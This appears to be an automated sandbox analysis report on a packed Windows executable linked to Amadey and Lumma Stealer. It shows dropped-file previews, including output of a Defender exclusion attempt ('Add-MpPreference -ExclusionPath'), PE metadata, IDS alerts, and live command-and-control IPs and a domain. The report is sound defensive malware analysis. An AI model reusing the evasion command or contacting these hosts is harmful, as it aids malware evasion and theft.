Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..\|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:\|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4308277287680804
Encrypted:	false
SSDEEP:	6:V0VX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lnt0:V0RuQ1CGAFifXVnt0
MD5:	B49C7357F258E49284552711E320E929
SHA1:	F4D5C3AFC2213E78FA3151C3A96F4EAB16F94EDE
SHA-256:	87B44EA421FC91E5128D8E9F1D0577AF215F0C2BDADF8DA83EC9D41F0317FCA4
SHA-512:	1FFAA818EDF4CA9E03E52CD078D5B82CB6FE0D1DC8C2EE6F3A8DA99E1558BB56387E642779F39AD13D06E04CBEEA9808C3280D90BFE5F0DB74C2A4C6F9F79BBD
Malicious:	false
Preview:	....K.....7F...C.v..F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe
File Type:	ISO-8859 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2123
Entropy (8bit):	5.057592576293109
Encrypted:	false
SSDEEP:	48:qNB4r4oBortic2Ny+3OtZ2Ny+3BrticB+3OtZB+3Oq:2i0co8FRFReht
MD5:	DF687065A7A16BE3C69662655816753C
SHA1:	FEC69E975B7004D380CDD6D0029F244D3F0349B4
SHA-256:	8D671426018C107C84E7818384C213CF0C5453EC6CBFFFA5D6994CF212AFA390
SHA-512:	B4BE3050423AB9DEA2EFF42F123B10AECBFACC8F82471C5E60A0C3C0B15B772333C56083AB1EFCFFBAC8EE69D16E0A46960C72CEB6D21B10FE89206330333244
Malicious:	false
Preview:	Carpeta creada: C:\jcyhknhe...Bienvenido al Programa de An.lisis de Texto!..Ingrese texto para el an.lisis (tiene 2 segundos):....Se acab. el tiempo! La entrada no se complet....Generando una oraci.n aleatoria.....Oraci.n generada: flor casa libro ventana..N.mero de palabras: 4..Error al agregar la exclusi.n: Add-MpPreference : Operation failed with the following error: 0x800106ba. Operation: MpPreference. Target: ..ConfigListExtension...At line:1 char:1..+ Add-MpPreference -ExclusionPath C:\jcyhknhe..+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], .. CimException.. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference.. ..Add-MpPreference : Operation failed with the following error: 0x%1!x!..At line:1 char:1..+ Add-MpPreference -ExclusionPath C:\jcyhknhe..+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.. + CategoryInfo : NotSpecified: (MSFT_MpPre

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.55106931550388
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'966'528 bytes
MD5:	0afe3bc3b68ddb4ebb3878a01a8bcd9a
SHA1:	aa25366b2677ee9e0029c3e12f9063742227fe1b
SHA256:	f3e3c4115bd289a528c02aae90a563e6b5dd6009e125d1fb142bcc7218cf068d
SHA512:	b8067a96567d3d73af408581a6b041758bcd77f8752d8a176a1253e978d832ced0e83f2775fb951f728ae06f11c6231171fe480ad454370116c47f45fbb52bab
SSDEEP:	24576:oW8IPnz3MNLz5g/oR+erMpAHuY7LGStg0Nn3WgCWED0CnO9lgJFbmK3Wj3zVK8bB:o5zlLrmStgq3WPRCOmAiZzr/9gcYK
TLSH:	4FD54AD1B90971DFD48E17B894E7CD86685D03F9072188C3A8A864BEBDA3EC116F7C25
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x70f000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F47E4EB37EAh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x5d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x30d7d4	0x10	jxgkweio
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x30d784	0x18	jxgkweio
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	528ff70864efcd0a5fe53fa6002f8900	False	0.9982703933923706	data	7.986792457616317	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x5d4	0x600	1e55db351164df1643ae87d7efa3ee0f	False	0.4303385416666667	data	5.417125179370491	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jxgkweio	0x6b000	0x2a3000	0x2a2800	797714350687c698e2ce9b07a3e6ca28	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
wbrwgikq	0x30e000	0x1000	0x400	71074a3540a802a2cfef6f16dd24eb76	False	0.84375	data	6.548788927052616	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x30f000	0x3000	0x2200	88e49babf40b5ab0b6295e1380967d76	False	0.06686580882352941	DOS executable (COM)	0.798628349306701	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x3e4	XML 1.0 document, ASCII text			0.48092369477911645
RT_MANIFEST	0x69454	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-19T03:09:05.435932+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49819	185.215.113.43	80	TCP
2024-12-19T03:09:10.132875+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49835	31.41.244.11	80	TCP
2024-12-19T03:09:19.578547+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	49829	TCP
2024-12-19T03:09:20.917022+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49860	185.215.113.43	80	TCP
2024-12-19T03:09:22.416906+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49862	31.41.244.11	80	TCP
2024-12-19T03:09:28.677220+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49878	104.21.67.146	443	TCP
2024-12-19T03:09:29.227051+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49880	185.215.113.43	80	TCP
2024-12-19T03:09:29.809452+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49878	104.21.67.146	443	TCP
2024-12-19T03:09:29.809452+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49878	104.21.67.146	443	TCP
2024-12-19T03:09:30.678836+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49885	31.41.244.11	80	TCP
2024-12-19T03:09:31.054601+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49887	104.21.67.146	443	TCP
2024-12-19T03:09:31.871885+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49887	104.21.67.146	443	TCP
2024-12-19T03:09:31.871885+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49887	104.21.67.146	443	TCP
2024-12-19T03:09:33.495702+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49893	104.21.67.146	443	TCP
2024-12-19T03:09:34.366664+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49893	104.21.67.146	443	TCP
2024-12-19T03:09:35.724767+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49899	104.21.67.146	443	TCP
2024-12-19T03:09:38.080806+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49905	104.21.67.146	443	TCP
2024-12-19T03:09:41.459638+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49913	185.215.113.43	80	TCP
2024-12-19T03:09:41.740692+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49914	104.21.67.146	443	TCP
2024-12-19T03:09:42.942853+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49920	31.41.244.11	80	TCP
2024-12-19T03:09:44.354628+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49924	104.21.67.146	443	TCP
2024-12-19T03:09:46.829264+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49930	185.215.113.43	80	TCP
2024-12-19T03:09:48.305774+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49935	31.41.244.11	80	TCP
2024-12-19T03:09:48.658837+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49937	104.21.67.146	443	TCP
2024-12-19T03:09:49.464768+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49937	104.21.67.146	443	TCP
2024-12-19T03:09:55.710699+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49955	185.215.113.43	80	TCP
2024-12-19T03:09:57.160547+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49960	31.41.244.11	80	TCP
2024-12-19T03:10:01.819048+0100	2058354	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat)	1	192.168.2.5	60440	1.1.1.1	53	UDP
2024-12-19T03:10:03.465986+0100	2058355	ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)	1	192.168.2.5	49977	104.21.66.85	443	TCP
2024-12-19T03:10:03.465986+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49977	104.21.66.85	443	TCP
2024-12-19T03:10:04.526605+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49977	104.21.66.85	443	TCP
2024-12-19T03:10:04.526605+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49977	104.21.66.85	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 03:09:03.981652021 CET	49819	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:04.103625059 CET	80	49819	185.215.113.43	192.168.2.5
Dec 19, 2024 03:09:04.103760004 CET	49819	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:04.103903055 CET	49819	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:04.223602057 CET	80	49819	185.215.113.43	192.168.2.5
Dec 19, 2024 03:09:05.435736895 CET	80	49819	185.215.113.43	192.168.2.5
Dec 19, 2024 03:09:05.435931921 CET	49819	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:06.940064907 CET	49819	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:06.940438986 CET	49829	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:07.060139894 CET	80	49829	185.215.113.43	192.168.2.5
Dec 19, 2024 03:09:07.060178995 CET	80	49819	185.215.113.43	192.168.2.5
Dec 19, 2024 03:09:07.060236931 CET	49829	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:07.060301065 CET	49819	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:07.060523987 CET	49829	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:07.180023909 CET	80	49829	185.215.113.43	192.168.2.5
Dec 19, 2024 03:09:08.434575081 CET	80	49829	185.215.113.43	192.168.2.5
Dec 19, 2024 03:09:08.434608936 CET	80	49829	185.215.113.43	192.168.2.5
Dec 19, 2024 03:09:08.434644938 CET	49829	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:08.434689999 CET	49829	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:08.673424959 CET	80	49829	185.215.113.43	192.168.2.5
Dec 19, 2024 03:09:08.673526049 CET	49829	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:08.686914921 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:08.806678057 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:08.807068110 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:08.807195902 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:08.926709890 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.132791042 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.132874012 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.132874966 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.132889032 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.132925987 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.132946014 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.133111000 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.133167028 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.133321047 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.133337975 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.133380890 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.133631945 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.133655071 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.133678913 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.133688927 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.133711100 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.133747101 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.134547949 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.134599924 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.252437115 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.252546072 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.252563953 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.252621889 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.256628990 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.256695986 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.256762981 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.256827116 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.325166941 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.325234890 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.325325012 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.325392008 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.329360962 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.329457998 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.329514027 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.337771893 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.337829113 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.337866068 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.337918997 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.346154928 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.346232891 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.346236944 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.346281052 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.354722977 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.354816914 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.354895115 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.363055944 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.363185883 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.363293886 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.363293886 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.371406078 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.371483088 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.371517897 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.371571064 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.379844904 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.379882097 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.379940987 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.388307095 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.388360023 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.388365030 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.388410091 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.396583080 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.396642923 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.396723986 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.396780014 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.403848886 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.403911114 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.403965950 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.404019117 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.411068916 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.411128044 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.411192894 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.411247969 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.520401955 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.520524979 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.520595074 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.520595074 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.522571087 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.522624969 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.522629976 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.522680044 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.526051998 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.526109934 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.526176929 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.526307106 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.530669928 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.530769110 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.530775070 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.530817032 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.535136938 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.535192966 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.535249949 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.535311937 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.539613962 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.539668083 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.539705038 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.539752960 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.544138908 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.544214010 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.544255972 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.544307947 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.548666954 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.548719883 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.548748016 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.548795938 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.553154945 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.553211927 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.553288937 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.553338051 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.557660103 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.557739019 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.557744026 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.557795048 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.562154055 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.562223911 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.562249899 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.562299013 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.566658020 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.566716909 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.566766024 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.566821098 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.571217060 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.571275949 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.571355104 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.571404934 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.575670004 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.575727940 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.575828075 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.575882912 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.580202103 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.580317974 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.580321074 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.580387115 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.584739923 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.584798098 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.584840059 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.584892988 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.589226961 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.589282036 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.589317083 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.589370012 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.593688011 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.593786955 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.593791962 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.593841076 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.598196983 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.598254919 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.598349094 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.598402977 CET	49835	80	192.168.2.5	31.41.244.11
